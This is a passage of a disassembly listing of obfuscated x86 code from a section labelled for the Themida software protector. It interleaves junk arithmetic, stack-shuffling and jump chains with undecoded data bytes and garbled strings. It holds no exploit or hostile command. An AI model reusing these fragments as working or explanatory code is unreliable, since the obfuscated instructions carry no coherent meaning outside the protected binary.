0FFFFBE0Dh ; --------------------------------------------------------------------------- loc_55C8B0: ; CODE XREF: Themida_:0055A76Fj add esp, 4 jmp loc_55B4DF ; --------------------------------------------------------------------------- db 83h dd 3C8904ECh, 6538BF24h, 0F8012C97h, 822EE9h, 5C82900h dd 510797Eh, 0D846CE05h, 2434FF0Ah, 4C48359h, 0FF5C94E9h dd 3EE7B8FFh, 0B1E901E1h, 0FFFFFFAFh, 68582434h, 1F5Fh dd 0FF9BEFE9h, 81DAF7FFh, 7C4884EAh, 173DE9B4h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C90A: ; CODE XREF: Themida_:0055B7A2j mov ebp, [esp] add esp, 4 jmp loc_553A1D ; --------------------------------------------------------------------------- loc_55C918: ; CODE XREF: Themida_:0055D5FDj pop ecx xor al, bl mov bx, [esp] add esp, 2 jmp loc_558CB6 ; --------------------------------------------------------------------------- dw 0E957h dd 9DF4h ; --------------------------------------------------------------------------- loc_55C930: ; CODE XREF: Themida_:0055CECEj mov [esp], esi jmp loc_561815 ; --------------------------------------------------------------------------- dd 16B5685Bh, 14890000h, 88BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C946: ; CODE XREF: Themida_:00564E34j and ecx, edx push dword ptr [esp] jmp loc_55AC64 ; --------------------------------------------------------------------------- loc_55C950: ; CODE XREF: Themida_:005632B0j add esp, 4 mov ecx, edx pop edx add [edi+24h], ecx jmp loc_558B0F ; --------------------------------------------------------------------------- loc_55C961: ; CODE XREF: Themida_:005623F6j add esp, 4 xor ch, 4Bh jmp loc_562AD8 ; --------------------------------------------------------------------------- loc_55C96F: ; CODE XREF: Themida_:00562F94j pop eax push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 1ED6h mov [esp], edi push 33D1h mov [esp], esi mov esi, 15D05433h push edx mov edx, 695D24C5h add esi, edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 inc esi or esi, 5DA6189h add esi, 0D505AA8Fh mov edi, esi pop esi or edi, 262529CFh inc edi shl edi, 6 inc edi or edi, 25291430h sub edi, 0B8FB57A2h xchg ebx, edi not ebx jmp loc_5529D7 ; --------------------------------------------------------------------------- loc_55C9DF: ; CODE XREF: Themida_:00562251j pop edx dec ebp add ebp, 1 neg ebp jmp loc_55A53E ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48124h, 55000000h, 7F2874BDh, 8EDC106h, 35B8BE56h dd 6AE91A58h, 68FFFFB1h, 3696497Dh, 5D2434FFh, 4C481h dd 0D5F70000h, 1EF1E9h, 15036800h, 1C890000h, 4BB24h, 0DF010000h dd 4C7815Bh, 87000000h, 248B243Ch, 0C778E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CA42: ; CODE XREF: Themida_:00565A24j add edx, 0F0FC6C83h add eax, edx pop edx add eax, 281F4744h add eax, esi jmp loc_566BD3 ; --------------------------------------------------------------------------- db 53h dd 241C8B5Dh, 0E904C483h, 756Fh, 6601EF80h, 38B652h, 148B66F7h dd 2C48124h, 88000000h, 241C8BFAh, 3808E9h db 0 ; --------------------------------------------------------------------------- loc_55CA81: ; CODE XREF: Themida_:00563F18j push ebx jmp loc_561889 ; --------------------------------------------------------------------------- db 68h dd 33EFh, 54243489h, 0E924348Bh, 2D42h, 69668h, 24048900h dd 7D75BA52h, 0B8504C2Ah, 42E3722Ah, 0E958C221h, 0FFFF6FFCh ; --------------------------------------------------------------------------- loc_55CAB4: ; CODE XREF: Themida_:00567B2Fj pop edx jmp loc_56526E ; --------------------------------------------------------------------------- dw 77FFh dd 58669D1Ch, 24041966h, 5AAFE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CACA: ; CODE XREF: Themida_:0055D3C2j mov [esp], eax mov eax, 47294DC6h shl eax, 6 xor eax, 3CF56260h or eax, 4ECD245Fh and eax, 383B3CF8h add eax, 6CFD35Eh dec eax push ebx mov ebx, 1EF419A8h inc ebx neg ebx xor ebx, 3DEFFFC0h add eax, ebx pop ebx add esi, eax jmp loc_55667B ; --------------------------------------------------------------------------- db 49h dd 3474F181h, 0CE890BCDh, 7E68E9h db 0 ; --------------------------------------------------------------------------- loc_55CB11: ; CODE XREF: Themida_:00553AABj pop esp mov [esp], ebx mov bl, 56h push edx mov dh, 4Ah and bl, dh jmp loc_55BC02 ; --------------------------------------------------------------------------- db 81h, 0F5h, 3 dd 8175491Bh, 0E915F9EDh, 7484E96Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CB32: ; CODE XREF: Themida_:0055A812j pop edx sub bl, ch jmp loc_554B7D ; --------------------------------------------------------------------------- dw 8B66h dd 1E682404h, 89000072h, 0E189240Ch, 81E18951h, 4C1h, 4E98100h dd 87000000h, 895C240Ch, 0E9552434h, 0FFFFAF04h, 2EE9D7F7h dd 87FFFFB0h, 665C2414h, 8124048Fh, 2ECh, 34896600h, 97E6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CB82: ; CODE XREF: Themida_:00558BB4j xor ebp, 41B67F27h not ebp jmp loc_55B606 ; --------------------------------------------------------------------------- loc_55CB8F: ; CODE XREF: Themida_:00560E78j push ebx mov ebx, 242C4B62h sub ebx, 12A45C37h add ebx, 43AA7A22h sub eax, ebx pop ebx push ebx jmp loc_566F2C ; --------------------------------------------------------------------------- dw 0EC83h dd 24148904h, 0E950E289h, 77ABh, 7D71C781h, 0CAE97F82h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CBC3: ; CODE XREF: Themida_:0055A9B7j pop dword ptr [esp] pop esp mov [esp], ebp jmp loc_55EFFC ; --------------------------------------------------------------------------- db 31h dd 27E92404h db 87h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CBD7: ; CODE XREF: Themida_:00553BCDj push ebx push 44342BBh jmp loc_560A8D ; --------------------------------------------------------------------------- dw 558h dd 4, 42Dh, 5B57E900h, 0C281FFFFh, 4, 5C241487h, 0B677E951h dd 0E94EFFFFh, 0FFFFCED9h, 0EB20E95Ah, 1C89FFFFh, 2CB3E924h dd 0EE810000h, 464B1DD8h, 973AE9h, 0ED815D00h, 0CBF27511h dd 15E9EE89h db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CC2F: ; CODE XREF: Themida_:00556CA0j pop ebp dec ebp jmp loc_5678E7 ; --------------------------------------------------------------------------- dw 0B951h dd 6A522733h, 8759CD89h, 0D58742D5h, 85CF581h, 0C581278Fh dd 0E81817E5h, 0FFC252E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CC55: ; CODE XREF: Themida_:0055EDAEj sub [esp+8], ebx sub dword ptr [esp+8], 54867C04h jmp loc_564EE6 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 277AE9h db 0 ; --------------------------------------------------------------------------- loc_55CC71: ; CODE XREF: Themida_:00563514j sub eax, edx mov edx, [esp] add esp, 4 add eax, 50ED0DD0h sub eax, ebx jmp loc_560B4F ; --------------------------------------------------------------------------- loc_55CC88: ; CODE XREF: Themida_:00557370j push dword ptr [esp+4] jmp loc_55D8FD ; --------------------------------------------------------------------------- db 29h, 0D8h, 5Bh dd 8E05F001h, 8B38D947h, 0C4812434h, 4, 81240C8Bh, 4C4h dd 1BE95100h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CCB3: ; CODE XREF: Themida_:0055AC0Ej pop esi add esp, 4 mov edi, esi push dword ptr [esp] jmp loc_5656DB ; --------------------------------------------------------------------------- db 5Bh, 56h, 0BEh dd 4, 555EF501h, 42474FFh, 24048F5Dh, 0E924248Bh, 0A523h dd 0FF5898E9h, 59CD01FFh, 2C581h, 2C330000h, 242C3124h dd 0E9242C33h, 0FFFF64BCh, 9C2404D3h, 6EEAE9h db 0 ; --------------------------------------------------------------------------- loc_55CD01: ; CODE XREF: Themida_:0055AA6Bj push 53B5h mov [esp], ecx mov ch, 0E5h push 11A7h mov [esp], edx mov dh, 18h add ch, dh pop edx xor bl, ch mov ecx, [esp] jmp loc_55BACA ; --------------------------------------------------------------------------- aSs db 'SιΚ{',0 align 4 dd 0E953A404h, 8FB9h, 6BC5BD55h, 0E801527Dh, 0C0E7E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CD3E: ; CODE XREF: Themida_:0055E64Bj add esi, 5A6112Bh push ebp mov ebp, 5402B6A1h jmp loc_552B4B ; --------------------------------------------------------------------------- db 51h dd 0E180FAB1h, 0F6D98638h, 0FED986D3h, 7B450C1h, 0E9B1C480h dd 0FFFFA23Ah, 9C4D61B8h, 0BA524856h, 1784643Ah, 295AD031h dd 24048BC1h, 0FFF3F8E9h, 4C483FFh, 8704C283h, 0CDE92414h dd 66FFFF79h, 0D83166ADh, 83BB6653h, 0E3C16603h, 66566604h dd 0E9449968h, 0FFFF7F81h, 24048F5Ah, 0AC12E95Ch, 0E9580000h dd 35B0h ; --------------------------------------------------------------------------- loc_55CDB8: ; CODE XREF: Themida_:0055FF91j or edi, ecx pop ecx xor edi, 8F3FB551h or ebp, edi pop edi xor ebp, 1FA01F12h shl ebp, 4 shr ebp, 5 push 2F21h mov [esp], eax sub esp, 4 mov [esp], edx mov edx, 2A871397h mov eax, 55050FDFh jmp loc_55EE85 ; --------------------------------------------------------------------------- db 0C1h, 0E5h, 4 dd 15D3ED81h, 0EE893704h, 0FFF95FE9h, 0E8C281FFh, 149F7F1h dd 24148BD3h, 505A5452h, 4B8h, 8BC20100h, 66E92404h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CE1B: ; CODE XREF: Themida_:005599B2j pop esp mov [esp], esi mov esi, esp push ebx mov ebx, 4 add esi, ebx pop ebx push ebp mov ebp, 352B4D47h xor ebp, 16F0A65h add ebp, 0CBBBB8E2h add esi, ebp pop ebp xchg esi, [esp] jmp loc_553970 ; --------------------------------------------------------------------------- db 0D1h dd 0EE814EEEh, 0E583FC1h, 0FF9533E9h, 4BAFFh, 0D7010000h dd 4C7815Ah, 57000000h, 42474FFh, 24048F5Fh, 5224248Bh dd 42474FFh, 33BCE9h, 241C8900h, 0AD51F368h, 2434FF6Fh dd 99D3E95Bh, 33B7FFFFh, 276DE9h, 0E9CC2000h, 0ADDAh ; --------------------------------------------------------------------------- loc_55CE98: ; CODE XREF: Themida_:005639C9j mov ebx, 26920AEEh push edi mov edi, 685E1A6Ah sub esp, 4 mov [esp], edi not dword ptr [esp] pop edi push ecx mov ecx, 472902F5h xor edi, ecx pop ecx jmp loc_5667BD ; --------------------------------------------------------------------------- dw 6856h dd 4, 0FFDF3EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CEC9: ; CODE XREF: Themida_:00558CB1j push 7DEFh jmp loc_55C930 ; --------------------------------------------------------------------------- db 89h dd 16B7241Ch, 515BFC08h, 0C1FE12B1h, 28ACC180h, 40DBE9CCh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CEEA: ; CODE XREF: Themida_:0055EFDBj pop ebp add ebx, 4 xchg ebx, [esp] pop esp jmp loc_56378F ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 0E924348Bh, 0FFFFDA09h, 6E8C15Eh, 225CBF57h dd 86E92B73h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CF17: ; CODE XREF: Themida_:00562F73j pop esp mov [esp], esp sub esp, 4 mov [esp], esi jmp loc_55D18C ; --------------------------------------------------------------------------- db 0F7h, 14h, 24h dd 0DB2E9h, 5BFC2000h, 7F3EE9h, 242C8700h, 5524248Bh, 242C8B54h dd 0E95A5452h, 479Eh, 5DE88966h, 0FFD6ACE9h, 2BC781FFh dd 4F3E2067h, 8104E7C1h, 0F80FD3C7h, 0E2E7E94Eh, 0C529FFFFh dd 24348B58h, 4C481h, 0E9530000h, 0FFFFC314h, 4BDh, 5DEA0100h dd 0FF6BECE9h, 5F2568FFh, 4890000h, 81E08924h, 4ECh, 9A22E900h dd 0A62D0000h, 89568590h, 9FE958C3h, 5300007Eh, 0C381E389h dd 4, 0FF88A3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CFB9: ; CODE XREF: Themida_:0055A1BBj pop ecx push eax mov eax, 246165FBh or ebp, eax pop eax shr ebp, 6 shr ebp, 3 push eax mov eax, 0FFC1C24Dh add ebp, eax pop eax and eax, ebp jmp loc_56565B ; --------------------------------------------------------------------------- db 0ACh, 66h, 68h dd 8966577Bh, 0B5512414h, 9D81E988h, 0B1B80000h, 295B3583h dd 0F7505AD0h, 48B2414h, 0A2E6E924h, 1C89FFFFh, 7CD0E924h dd 0EC810000h, 4, 0BB241C89h, 71874820h, 0B4CB951h, 505545C3h dd 47CABE56h, 0E68144FEh, 6E2057A7h, 0E6C1D6F7h, 3CCE8102h dd 814A224Ah, 0D733DACEh, 0D5EE8164h, 89B684D2h, 0E9405EF0h dd 0FFFFBEA3h, 0E924048Fh, 1BFBh, 0E95EF701h, 9140h, 0C8BCF89h dd 4C48324h, 472AEB81h, 0FB291694h, 472AB951h, 0C3811694h dd 0F6E6C12h, 0EB81CB01h, 0F6E6C12h, 0EB815F59h, 62847746h dd 0B8505352h, 29C23EE0h, 7871E951h, 0CB01FFFFh, 81240C8Bh dd 4C4h, 7EBC100h, 25E0E9h, 0CFE5C00h, 0CAE99C24h, 8BFFFF54h dd 0F662424h, 9C2404ABh, 0A89BE9h db 0 ; --------------------------------------------------------------------------- loc_55D0BD: ; CODE XREF: Themida_:0055BA73j mov ebx, 4 sub ecx, 1EC52325h add ecx, ebx add ecx, 1EC52325h jmp loc_558CAC ; --------------------------------------------------------------------------- db 0ADh, 5, 7Bh dd 536FE40h, 3A9A0322h, 0FFEA0EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D0E5: ; CODE XREF: Themida_:0055DC8Aj add ecx, 5735E1D2h jmp loc_55596A ; --------------------------------------------------------------------------- dd 0E904E983h, 0FFFF5BCAh, 6CF68h, 240C8900h, 0FF8836E9h dd 5A595AFFh, 3306E9h, 0C3EF8100h, 0E9E99C87h, 0FFFF5E0Bh dd 1681F281h, 14E923AAh db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D123: ; CODE XREF: Themida_:0056389Dj sub ecx, 0E752A62Ch add ebp, ecx pop ecx pop edi add ebp, edi sub ebp, 30C2631Eh pop edi sub esp, 4 mov [esp], eax mov eax, 0D3BCAE2h sub ebp, eax mov eax, [esp] jmp loc_5588F3 ; --------------------------------------------------------------------------- loc_55D14E: ; CODE XREF: Themida_:00566A34j mov [esp], ebx jmp loc_55E0A3 ; --------------------------------------------------------------------------- dw 77FFh dd 58669D1Ch, 9C240418h, 0FF5414E9h, 1C77FFFFh, 411589Dh dd 6E99C24h, 59FFFF54h, 408368h, 24348900h, 0FFD209E9h dd 0B4F581FFh, 0E96B114Fh, 5203h ; --------------------------------------------------------------------------- loc_55D18C: ; CODE XREF: Themida_:0055CF24j mov esi, 4 add [esp+4], esi mov esi, [esp] jmp loc_55B18D ; --------------------------------------------------------------------------- db 83h, 0EAh, 4 dd 2474FF52h, 48F5A04h, 1C895C24h, 55E38924h, 4BB53h, 0DD890000h dd 5DEB015Bh, 76E95051h, 5A00007Ah, 1C67E9h, 4EC8300h dd 0FFF325E9h, 0EF8853FFh, 88F98851h, 885B59CAh, 0FF23E9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_55B08B ; --------------------------------------------------------------------------- db 40h dd 163DCF2Dh, 87BD5548h, 51BE813h, 331150F6h, 0CEE9E829h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D20B: ; CODE XREF: Themida_:00555612j pop esi sub esp, 4 mov [esp], ebp push ecx mov ecx, 25AC16A6h mov ebp, 25AC16A7h add ebp, 7B032C48h sub ebp, 60653766h sub ebp, ecx jmp loc_55F4DF ; --------------------------------------------------------------------------- loc_55D230: ; CODE XREF: Themida_:00553238j sub ebp, edi sub ebp, 2646E2Fh pop edi mov ecx, ebp push dword ptr [esp] pop ebp add esp, 4 shl ecx, 8 xchg edi, ecx not edi xchg edi, ecx xor ecx, 31E73DBh sub ebx, ecx mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ebx pop edi push dword ptr [esp] pop ebx add esp, 4 mov eax, edi pop edi sub ecx, eax jmp loc_565C6D ; --------------------------------------------------------------------------- aVsyq db 'VιyQ',0 align 4 dd 0FE685758h, 89000052h, 0D4BE2434h, 0E9216323h, 0FFFF5936h dd 24048F5Fh, 0F9F7665Ch, 0FFF546E9h, 243433FFh, 0FFB49CE9h dd 43E950FFh, 1FFFF8Eh, 0C8E95FF8h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D2BF: ; CODE XREF: Themida_:loc_5622FDj ; Themida_:00565B6Dj push 61CAh mov [esp], ecx sub esp, 4 mov [esp], ebx jmp loc_55B344 ; --------------------------------------------------------------------------- dw 0BEh dd 29000000h, 0E95653DEh, 0FFFFFC1Ah, 4EC81h, 34890000h dd 0BE09E924h, 0F029FFFFh, 53DE95Eh, 0EB810000h, 7F165B98h dd 5155F381h, 0F74B31A5h, 0FEEB81DBh, 0E9492C02h, 6154h ; --------------------------------------------------------------------------- loc_55D310: ; CODE XREF: Themida_:0055D8F8j push 50F6h mov [esp], ebp mov ebp, 4 add esi, ebp pop ebp xor esi, [esp] xor [esp], esi jmp loc_5606C3 ; --------------------------------------------------------------------------- db 5Dh dd 5D5B5553h, 8707EBC1h, 0E9D7F7FBh, 54F7h, 555DEB01h dd 0CD0A1DBDh, 5DE92925h, 6FFDE9h db 0 ; --------------------------------------------------------------------------- loc_55D34D: ; CODE XREF: Themida_:00566FE1j mov eax, [esp] add esp, 4 loc_55D356: ; CODE XREF: Themida_:005565B2j ; Themida_:00562DE7j push dword ptr [edi+24h] jmp loc_559BF3 ; --------------------------------------------------------------------------- loc_55D35E: ; CODE XREF: Themida_:005648C7j sub ebp, 4 xor ebp, [esp] jmp loc_5525C1 ; --------------------------------------------------------------------------- loc_55D369: ; CODE XREF: Themida_:0055530Dj mov [esp], eax push ebp mov ebp, 4 mov eax, ebp jmp loc_55E784 ; --------------------------------------------------------------------------- loc_55D379: ; CODE XREF: Themida_:005599F2j sub esp, 4 mov [esp], esi push ebx push ebp jmp loc_552D2D ; --------------------------------------------------------------------------- dw 0BD55h dd 533461F6h, 2C8BEB01h, 4C48324h, 7D956859h, 7AE90000h dd 66FFFF93h, 9C240401h, 0FF51D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D3A9: ; CODE XREF: Themida_:0055DF1Fj neg edi jmp loc_5526CA ; --------------------------------------------------------------------------- loc_55D3B0: ; CODE XREF: Themida_:00565C2Ej xchg edi, [esp] pop esp mov [esp], edx mov edx, 1 sub esp, 4 jmp loc_55CACA ; --------------------------------------------------------------------------- loc_55D3C7: ; CODE XREF: Themida_:005540D6j push ecx mov cl, 0DEh and cl, 6Ch shr cl, 3 jmp loc_5571E0 ; --------------------------------------------------------------------------- loc_55D3D5: ; CODE XREF: Themida_:00563403j push 29E4h mov [esp], edx push 5563h jmp loc_55B88B ; --------------------------------------------------------------------------- db 29h dd 0F3EB81C3h, 58525F39h, 0B951EB01h, 3CCF22CDh, 0C107E1C1h dd 0F74906E9h, 0DDF181D1h, 0E9FBB0B5h, 0FFFFE57Ch, 3984C981h dd 0E983506Dh, 0CE181FFh, 5649A04Ah, 0CC2011BEh, 57EE8173h dd 0C124AF7Eh, 0EEC107EEh, 0FFC68307h, 833DEE81h, 0F1013FCEh dd 59C8315Eh, 60E9C229h, 81000093h, 0C1A9F6C5h, 5DE82945h dd 8305E8C1h, 5425FFC0h, 5327537h, 6CC30989h, 171FCD35h dd 58C6016Dh, 8704EE83h, 67E92434h, 89FFFF75h, 0BB535AD1h dd 736076FCh, 0FFEB14E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D47D: ; CODE XREF: Themida_:005583A3j pop ebx sub edx, eax push ebx mov ebx, 5F8321F2h add edx, ebx pop ebx mov eax, [esp] jmp loc_55784D ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 2C48124h, 66000000h, 4C62C381h, 66C32966h, 6654DF68h dd 0E9243C89h, 0FFFFD7F1h ; --------------------------------------------------------------------------- loc_55D4B0: ; CODE XREF: Themida_:00563E4Dj mov ebp, ebx jmp loc_565D69 ; --------------------------------------------------------------------------- loc_55D4B7: ; CODE XREF: Themida_:0055D88Fj mov [esp], edi mov edi, 2C12A904h xor eax, edi push dword ptr [esp] pop edi add esp, 4 push ebp push edx jmp loc_55B232 ; --------------------------------------------------------------------------- dw 0BB53h dd 47E25AAEh, 5AAAEB81h, 192D47E2h, 1348168h, 19BB53D8h dd 1348168h, 34FF5BD8h, 241C8B24h, 8104C483h, 4C4h, 4C08300h dd 31240433h, 4332404h, 5A52E924h, 0C483FFFFh, 57E95F04h dd 50FFFF59h, 0FFAB95E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D51D: ; CODE XREF: Themida_:0055805Cj mov [esp], esp add dword ptr [esp], 4 pop eax push ecx push ebx push eax mov eax, 4662231Bh push 7410h mov [esp], eax sub dword ptr [esp], 50385270h pop ebx jmp loc_55A2A5 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 3304C383h, 1C31241Ch, 241C3324h, 0A2EB815Ch, 8155B208h dd 2E669EC3h, 5E545652h, 4C681h, 4CE90000h, 3100007Ah dd 2434FFC7h, 4EC8358h, 89242C89h, 4C581E5h, 81000000h dd 4C5h, 242C8700h, 10EF815Ch, 31516B67h, 2434FFF8h, 51243C8Bh dd 58C9E9h, 24148B00h, 0E904C483h, 0FFFF947Eh, 0DAEA8142h dd 567DF957h, 15AFBEh, 981BE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D5BE: ; CODE XREF: Themida_:0056378Aj push ecx mov ecx, esp add ecx, 4 jmp loc_564806 ; --------------------------------------------------------------------------- dd 0AAE3F181h, 0CF893902h, 39E95059h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D5DB: ; CODE XREF: Themida_:0055365Fj push edi mov edi, esp add edi, 4 jmp loc_55DE05 ; --------------------------------------------------------------------------- loc_55D5E9: ; CODE XREF: Themida_:00559AF3j mov cl, 6Bh shr cl, 1 jmp loc_5623EA ; --------------------------------------------------------------------------- loc_55D5F2: ; CODE XREF: Themida_:00555534j neg ch add ch, 6Eh push edx mov dl, ch mov bl, dl pop edx jmp loc_55C918 ; --------------------------------------------------------------------------- dw 21BFh dd 8122921Fh, 7B07A4E7h, 5E7C127h, 9A07F781h, 0FD2934AEh dd 5F2434FFh, 4C481h, 0C5290000h, 543BBA52h, 0F2814C62h dd 0A672462h, 0D6F7F287h, 0F281F287h, 745F1106h, 8102EAC1h dd 35EBAF2h, 0BEA8121h, 0E99B7BBBh, 9D4Ah, 83B85058h, 81489F23h dd 520C9AEAh, 81C2293Ah, 520C9AC2h, 0EAD1583Ah, 81D2F74Ah dd 95B081C2h, 5AD5891Ch, 564B951h, 0CD291600h, 23F36859h dd 0D3E90000h, 54000022h, 4C5815Dh, 83000000h, 2C8704C5h dd 685C24h, 0FF000000h, 34FF2434h, 8AC7E924h db 2 dup(0), 52h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_558061 ; --------------------------------------------------------------------------- loc_55D6AF: ; CODE XREF: Themida_:00563C08j shl ebp, 6 sub esp, 4 mov [esp], esi push edx mov edx, 2818567Ah jmp loc_561D56 ; --------------------------------------------------------------------------- dw 0BB53h dd 1A82E87h, 7403BF57h, 0B7E94E54h db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D6D7: ; CODE XREF: Themida_:00559540j sub esp, 4 mov [esp], edi jmp loc_5655AA ; --------------------------------------------------------------------------- aTTSo3 db 'ΐβ',7,'ΐβ',8,'ι3',0 db 0 ; --------------------------------------------------------------------------- loc_55D6ED: ; CODE XREF: Themida_:00554668j pop esp jmp loc_56255A ; --------------------------------------------------------------------------- loc_55D6F3: ; CODE XREF: Themida_:00555384j mov eax, 65D23EFAh not eax shl eax, 4 jmp loc_559EE7 ; --------------------------------------------------------------------------- dw 0C981h dd 64C1651Ah, 73DE181h, 0EDE94575h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D713: ; CODE XREF: Themida_:0055804Aj mov edx, 0E5B5CFF9h xor edi, edx mov edx, [esp] jmp loc_55901F ; --------------------------------------------------------------------------- dw 0D468h dd 89000077h, 5657240Ch, 3D1CD968h, 9D64E94Ch, 0BE56FFFFh dd 2A9CC24Eh, 0F75EF301h, 4C381DBh, 68C26065h, 7BF6h, 81241C89h dd 59F62404h, 148B4B8Eh, 4C48324h, 59F6EA81h, 15B4B8Eh dd 0D4C0E9D3h, 0C483FFFFh, 60685204h, 89000003h, 0EC812404h dd 4, 147BE9h, 4C78100h, 0E9000000h, 159Bh ; --------------------------------------------------------------------------- loc_55D78C: ; CODE XREF: Themida_:00567546j pop edx neg cl push edx push eax mov ah, 0FBh push edx mov dl, 53h jmp loc_5660F0 ; --------------------------------------------------------------------------- loc_55D79B: ; CODE XREF: Themida_:00552D32j xor ebp, 762D612Ch not ebp jmp loc_5582AD ; --------------------------------------------------------------------------- dd 8B66F22Ch, 0C4812414h, 2, 0FF8039E9h, 4C481FFh, 83000000h dd 0C8904ECh, 28FBB924h, 0CF29CB11h, 83C2E959h, 685A0000h dd 6B7Ch, 89243489h, 4C681E6h, 0E9000000h, 0FFFFAC1Ah dd 7FBEEF81h, 0FD892E55h, 27C1815Fh, 8179B12Bh, 484097E9h dd 81E9294Bh, 484097C1h, 27E9814Bh, 8B79B12Bh, 0C483242Ch dd 240C3304h, 978E9h, 2434FF00h, 8B2434FFh, 0C481240Ch dd 4, 0FF929BE9h, 0AAE954FFh, 5600009Ch, 9D6490BEh, 5EF00127h dd 0B60F6659h, 0AFE95100h, 81000020h, 4C1h, 4C18300h, 8B240C87h dd 0ED812424h, 4F41134Dh, 34FFE989h, 0C4835D24h, 52D1F704h dd 0FF8BC8E9h, 39E958FFh db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D873: ; CODE XREF: Themida_:00553FC2j pop eax jmp loc_55A29F ; --------------------------------------------------------------------------- db 0BFh, 17h, 61h dd 9CE94307h, 66FFFF4Eh, 0E917B753h, 584Dh ; --------------------------------------------------------------------------- loc_55D88C: ; CODE XREF: Themida_:0056560Fj mov esp, [esp] jmp loc_55D4B7 ; --------------------------------------------------------------------------- dd 5F86C681h, 0E95A371Ah, 0FFFFA223h, 0F66F1F6h, 5452CCB6h dd 4C2815Ah, 83000000h, 148704EAh, 0DFE95C24h, 9FFFF8Ch dd 0F2815DEAh, 7127309Bh, 4EC81h, 3C890000h, 801DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D8D2: ; CODE XREF: Themida_:00556C6Cj xor ebp, [esp] pop esp push ecx push ecx mov ecx, 720377B9h sub [esp+4], ecx pop ecx mov eax, [esp] add esp, 4 add eax, 720377B9h pop ecx push esi jmp loc_55268D ; --------------------------------------------------------------------------- loc_55D8F4: ; CODE XREF: Themida_:00559EF3j pop eax add esi, ebx pop ebx jmp loc_55D310 ; --------------------------------------------------------------------------- loc_55D8FD: ; CODE XREF: Themida_:0055CC8Cj pop esi pop dword ptr [esp] push 4568h mov [esp], esi not dword ptr [esp] push dword ptr [esp] mov esi, [esp] jmp loc_5581C8 ; --------------------------------------------------------------------------- db 68h dd 1227h, 0E9241C89h, 7E04h, 0E9585450h, 755Eh, 73240481h dd 0E95E8E04h, 0FFFF77EAh, 4C281h, 0C2810000h, 4, 5C241487h dd 4C681h, 0BA680000h, 8900003Eh, 0BE562414h, 13450D93h dd 73CCE81h, 814E5054h, 550FBCF6h, 8BF28953h, 0C4812434h dd 4, 685AD601h, 245Fh, 0FF8C95E9h, 243433FFh, 1C6F095Ch dd 4BEBE95Dh, 8B66FFFFh, 0EC81240Ch, 4, 54242C89h, 50BF575Dh dd 0F77E565Fh, 0E6C781DFh, 0C14FC727h, 0E78105EFh, 34FE2270h dd 8904EC83h, 44B82404h, 31048A02h, 24048BC7h, 4C481h dd 0ED810000h, 3F6D5AA7h, 65D7ED81h, 0FD01766Dh, 6EB3E9h dd 65C78100h, 57026E89h, 2434FF58h, 0FF73B8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D9ED: ; CODE XREF: Themida_:00554D82j push edx push ebp mov ebp, 49C3204h push ebp pop edx mov ebp, [esp] add esp, 4 sub edi, edx pop edx add edi, 1FDC30FBh jmp loc_552836 ; --------------------------------------------------------------------------- loc_55DA0A: ; CODE XREF: Themida_:0055C0E6j xor ebx, 57844677h add esi, ebx push dword ptr [esp] pop ebx add esp, 4 add esi, 4 xchg esi, [esp] pop esp and eax, ebx pop ebx jmp loc_56018F ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF4B49h, 83242C8Bh, 0EC8104C4h, 4, 68240C89h, 6E085D81h dd 0FF9F02E9h, 259905FFh, 875D2E9Bh, 815C2404h, 500D92E9h dd 81D90107h, 500D92C1h, 4FE9E907h, 0EE81FFFFh, 442D3813h dd 0A95DEE81h, 0F2296CCDh, 57C2295Eh, 4329EBFh, 3E7C15Fh dd 1E00E781h, 0E7815BA0h, 3A486782h, 6514F781h, 0FA0156E1h dd 0F3BB535Fh, 0E928E64Eh, 33ADh ; --------------------------------------------------------------------------- loc_55DAA0: ; CODE XREF: Themida_:0055842Aj xor eax, ecx push eax push edi mov edi, esp jmp loc_563C96 ; --------------------------------------------------------------------------- db 2Dh dd 42B33442h, 83240C8Bh, 91E904C4h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DABB: 